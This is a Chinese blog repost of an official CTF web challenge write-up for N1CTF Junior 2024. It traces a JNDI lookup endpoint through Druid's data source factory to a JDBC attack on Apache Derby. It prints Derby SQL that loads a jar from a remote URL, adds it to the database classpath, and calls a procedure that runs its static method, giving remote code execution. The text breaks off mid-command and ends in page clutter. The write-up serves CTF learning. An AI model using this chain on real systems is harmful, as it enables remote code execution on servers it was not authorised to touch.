N1CTF Junior 2024 Web Official Writeup(Nu1L Team组织的官方纳新赛事,旨在选拔优秀人才加入Nu1L Team

博客详细介绍了如何在N1CTF Junior 2024比赛中利用Derby数据库的特性,通过动态设置derby.database.classpath属性和创建PROCEDURE,实现远程代码执行。首先,通过导入类到数据库并将其加入classpath,然后创建一个调用静态方法的PROCEDURE,最后通过执行PROCEDURE来执行恶意代码。文章还提及了JNDI入口点、DruidDataSource和JDBC攻击的利用方法,并提供了POC代码示例。此外,博主分享了学习路线和网络安全学习资料,强调了二次思维在解决复杂问题中的重要性。
摘要由CSDN通过智能技术生成

// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.example.derby;

import javax.naming.Context;
import javax.naming.InitialContext;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;

@RestController
public class IndexController {
public IndexController() {
}

@RequestMapping({“/”})
public String index() {
return “hello derby”;
}

@RequestMapping({“/lookup”})
public String lookup(@RequestParam String url) throws Exception {
Context ctx = new InitialContext();
ctx.lookup(url);
return “ok”;
}
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

|

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.example.derby;

import javax.naming.Context;
import javax.naming.InitialContext;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;

@RestController
public class IndexController {
public IndexController() {
}

@RequestMapping({“/”})
public String index() {
return “hello derby”;
}

@RequestMapping({“/lookup”})
public String lookup(@RequestParam String url) throws Exception {
Context ctx = new InitialContext();
ctx.lookup(url);
return “ok”;
}
}

|

很干脆的一个JNDI入口点lookup。但JDK17,在这个环境下还是需要利用一些额外的类去绕过,在Tomcat某些版本是可以BeanFactory配合EL去实现命令执行的,这里是Druid,也可以绕过。
DruidDataSourceFactory#getObjectInstance

public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
if (obj != null && obj instanceof Reference) {
Reference ref = (Reference)obj;
if (!“javax.sql.DataSource”.equals(ref.getClassName()) && !“com.alibaba.druid.pool.DruidDataSource”.equals(ref.getClassName())) {
return null;
} else {
Properties properties = new Properties();

for(int i = 0; i < ALL_PROPERTIES.length; ++i) {
String propertyName = ALL_PROPERTIES[i];
RefAddr ra = ref.get(propertyName);
if (ra != null) {
String propertyValue = ra.getContent().toString();
properties.setProperty(propertyName, propertyValue);
}
}

return this.createDataSourceInternal(properties);
}
} else {
return null;
}
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

|

public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
if (obj != null && obj instanceof Reference) {
Reference ref = (Reference)obj;
if (!“javax.sql.DataSource”.equals(ref.getClassName()) && !“com.alibaba.druid.pool.DruidDataSource”.equals(ref.getClassName())) {
return null;
} else {
Properties properties = new Properties();

for(int i = 0; i < ALL_PROPERTIES.length; ++i) {
String propertyName = ALL_PROPERTIES[i];
RefAddr ra = ref.get(propertyName);
if (ra != null) {
String propertyValue = ra.getContent().toString();
properties.setProperty(propertyName, propertyValue);
}
}

return this.createDataSourceInternal(properties);
}
} else {
return null;
}
}

|

在这里有一个createDataSourceInternal操作

image.png

在这个config方法最后会调用init方法

image.png

在这里会有createPhysicalConnection方法

image.png

最终在里面发起了JDBC连接。

image.png

这时候就回到了JDBC-ATTACK的利用了
JDBC-Attack 利用汇总 - Boogiepop Doesn’t Laughicon-default.png?t=N7T8https://boogipop.com/2023/10/01/JDBC-Attack%20%E5%88%A9%E7%94%A8%E6%B1%87%E6%80%BB/
假如在这里有h2数据库的driver那就可以直接RCE,但很遗憾是没有的并且题目提示打derby。我一开始去想到的是derby的readobject,但实际上并不是,这里需要自己寻找一下。回到config方法,你会发现有一些初始化操作

image.png

而这里我们效仿h2,也寻找是否有初始化的sql语句,到这里就转变为了sql可控的注入。而derby数据库也是可以加载Jar包的
derby数据库如何实现RCE - lvyyevd’s 安全博客前言前段时间遇到了一个后台可以操作数据库语句的地方,且使用的数据库为derby,derby数据库可以作为内嵌数据库,要知道H2数据库可以利用alias别名,调用java代码进行命令执行。猜测derby数据库也有相应功能,一直翻阅官方文档,终于找到了一种RCE利用方式(应该还没有人发吧),在这里记录一icon-default.png?t=N7T8http://www.lvyyevd.cn/archives/derby-shu-ju-ku-ru-he-shi-xian-rce

导入一个类到数据库中

CALL SQLJ.INSTALL_JAR(‘http://127.0.0.1:8088/test3.jar’, ‘APP.Sample4’, 0)

将这个类加入到derby.database.classpath,这个属性是动态的,不需要重启数据库

CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY(‘derby.database.classpath’,‘APP.Sample4’)

创建一个PROCEDURE,EXTERNAL NAME 后面的值可以调用类的static类型方法

CREATE PROCEDURE SALES.TOTAL_REVENUES() PARAMETER STYLE JAVA READS SQL DATA LANGUAGE JAVA EXTERNAL NAME ‘testShell4.exec’

调用PROCEDURE

CALL SALES.TOTAL_REVENUES()

1
2
3
4
5
6
7
8
9
10
11

|

导入一个类到数据库中

CALL SQL

  • 22
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值